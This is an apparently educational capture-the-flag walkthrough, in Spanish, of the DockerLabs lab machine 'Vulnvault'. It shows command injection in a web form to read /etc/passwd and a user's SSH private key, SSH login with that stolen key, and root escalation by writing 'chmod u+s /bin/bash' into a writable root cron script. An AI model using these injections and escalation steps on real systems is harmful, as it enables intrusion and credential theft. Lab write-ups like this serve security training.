> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/vulnvault.md).

# Vulnvault

### **1. Despliegue de la máquina**

#### **1.1. Descarga**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Vulnvault** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

#### **1.2. Descompresión**

Utilizamos `7z` para extraer el contenido del archivo comprimido:

```bash
7z x vulnvault.zip
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F9TcDSG8zFcCu7FWtSi2S%2FPasted%20image%2020250720144119.png?alt=media&amp;token=15658188-bd0d-45f1-83c9-f56cddb33a43" alt=""><figcaption></figcaption></figure>

#### **1.3. Ejecución**

Ejecutamos el script que automatiza el despliegue del contenedor vulnerable en Docker:

```bash
bash auto_deploy.sh vulnvault.tar
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FXpTkQrpRYRvagT2nmKPE%2FPasted%20image%2020250720144147.png?alt=media&amp;token=dc89e6f7-f8de-4529-bf07-57da49ec1bf3" alt=""><figcaption></figcaption></figure>

### **2. Reconocimiento**

#### **2.1. Verificación de conectividad**

Realizamos un `ping` a la IP del contenedor para confirmar su disponibilidad:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FnbdDQbCaH7pQ221EZzM6%2FPasted%20image%2020250720144317.png?alt=media&amp;token=b57e17b8-0fba-4730-b770-549cabbc2fe2" alt=""><figcaption></figcaption></figure>

#### **2.2. Escaneo de puertos**

Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Puertos abiertos:**

* **Puerto 22:** `SSH`.
* **Puerto 80:** `HTTP`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FDXFjlUvPdum6u4q2mLUi%2FPasted%20image%2020250720144408.png?alt=media&amp;token=7f9a7d13-1648-4381-8567-f5807878e661" alt=""><figcaption></figcaption></figure>

#### **2.3. Escaneo detallado**

Analizamos los puertos encontrados con mayor profundidad:

```bash
nmap -p22,80 -sCV 172.17.0.2 -oN targeted
```

**Descubrimos:**

* **Puerto 22:** OpenSSH 9.6p1.
* **Puerto 80:** Apache 2.4.58 con una web para generar reportes.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FG2KnwTMmOX0XyXmfh8jJ%2FPasted%20image%2020250720144500.png?alt=media&amp;token=40c4a37e-97cb-48b0-b0db-bf3a4a723e91" alt=""><figcaption></figcaption></figure>

#### **2.4. Interfaz web**

Accedemos a: `http://172.17.0.2/`.

La interfaz genera archivos de reporte a partir de un nombre y una fecha. Al probar con entradas modificadas, observamos advertencias de comandos maliciosos, lo que sugiere una posible inyección de comandos.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FaJHpBI0OjztsIiHiPapj%2FPasted%20image%2020250720144621.png?alt=media&amp;token=e971f9b6-92a0-47a2-97ca-ef8d8150263f" alt=""><figcaption></figcaption></figure>

### **3. Explotación**

Probamos la vulnerabilidad inyectando un comando en el campo del nombre:

```bash
;cat /etc/passwd
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fz4Gj9mWkBC5BtZcZIYvp%2FPasted%20image%2020250720144812.png?alt=media&amp;token=4428e2f4-35ff-4db5-b628-a82a98f1df55" alt=""><figcaption></figcaption></figure>

Logramos listar los usuarios del sistema y descubrimos al usuario `samara`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FZ1cRmpJse3x7kAWm1AXy%2FPasted%20image%2020250720144822.png?alt=media&amp;token=b5a5b626-460a-4862-8e33-2a1b345bb59d" alt=""><figcaption></figcaption></figure>

Intentamos extraer la clave privada del usuario `samara`:

```bash
;cat /home/samara/.ssh/id_rsa
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FGQ2muKb5elPIM2fyVBOB%2FPasted%20image%2020250720144909.png?alt=media&amp;token=6f1e2c5e-f482-49ce-bb12-ed57906731b1" alt=""><figcaption></figcaption></figure>

Obtenemos la clave privada.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FJKkl6THzdv3unhoRvZeb%2FPasted%20image%2020250720144919.png?alt=media&amp;token=15845bb9-fbb7-4553-9f7b-59d2111583ab" alt=""><figcaption></figcaption></figure>

Descargamos la clave en nuestro equipo local y ajustamos los permisos:

```bash
chmod 600 id_rsa
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FNgwvMvXtfMHcrEWs8nqc%2FPasted%20image%2020250720145052.png?alt=media&amp;token=9793501b-7fe7-4096-b213-65313988278e" alt=""><figcaption></figcaption></figure>

Nos conectamos al sistema por SSH como `samara` utilizando la clave privada:

```bash
ssh -i id_rsa samara@172.17.0.2
```

**Resultado:** Accedemos exitosamente al sistema con los privilegios del usuario `samara`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fwi4JACvnDiOJQwFWOyl7%2FPasted%20image%2020250720145127.png?alt=media&amp;token=bb380afc-77f2-4e77-8f04-9b338701947d" alt=""><figcaption></figcaption></figure>

### **4. Escalada de privilegios**

#### **4.1. Análisis de procesos**

Descargamos la herramienta [pspy](https://github.com/DominicBreuker/pspy) para monitorear procesos en segundo plano.

Creamos un servidor HTTP en nuestra máquina local para compartir el binario a través de la red:

```bash
python3 -m http.server 1234
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fgc3Aw9NWWELyTGTNDXX5%2FPasted%20image%2020250720150737.png?alt=media&amp;token=88395782-a910-4ae3-b78e-725afc0f5bf7" alt=""><figcaption></figcaption></figure>

Desde la conexión SSH vamos a ejecutar el siguiente comando para descargarnos el binario:

```bash
wget http://172.17.0.1:1234/pspy64
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fk0kAECSFs5pfCcilo6v3%2FPasted%20image%2020250720151022.png?alt=media&amp;token=ff9f8cfa-560b-47fb-be62-70f0b20dfba1" alt=""><figcaption></figcaption></figure>

Le asignamos al binario los permisos necesarios:

```bash
chmod 700 pspy64
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FiAqPznkAfFvDGE9u0eEA%2FPasted%20image%2020250720151330.png?alt=media&amp;token=75241401-0f0b-46c9-bd38-fcda4e6aaf21" alt=""><figcaption></figcaption></figure>

Ejecutamos el binario con el siguiente comando:

```bash
./pspy64
```

Identificamos que el script `/usr/local/bin/echo.sh` se ejecuta periódicamente como `root`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F4RwS8L4rdzh66gVq6WXe%2FPasted%20image%2020250720151416.png?alt=media&amp;token=0eb8acc3-41da-4fb6-aa7e-1ef3cf29c237" alt=""><figcaption></figcaption></figure>

Verificamos los permisos y el contenido del script:

```bash
ls -l /usr/local/bin/echo.sh
```

```bash
cat /usr/local/bin/echo.sh
```

El script es modificable por `samara`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FzhjcZpWVZuQYiZeqzZeF%2FPasted%20image%2020250720151613.png?alt=media&amp;token=234cb13b-4beb-4553-9165-a931af5f1563" alt=""><figcaption></figcaption></figure>

Insertamos el siguiente comando para asignar permisos SUID a `/bin/bash`:

```bash
echo "chmod u+s /bin/bash" > /usr/local/bin/echo.sh
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FtxAESbHXMkRcoasj7nuV%2FPasted%20image%2020250720151706.png?alt=media&amp;token=6896160d-80b6-4edf-acf9-74230c460400" alt=""><figcaption></figcaption></figure>

Esperamos a que el script se ejecute y luego lanzamos una shell con privilegios elevados:

```bash
bash -p
```

**Resultado:** Obtenemos una shell con privilegios de `root`, confirmando el control total del sistema.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FPs6WITMBqJi10sNKLW6t%2FPasted%20image%2020250720151741.png?alt=media&amp;token=7baec1a7-debe-4e58-b68a-894a3388eef8" alt=""><figcaption></figcaption></figure>
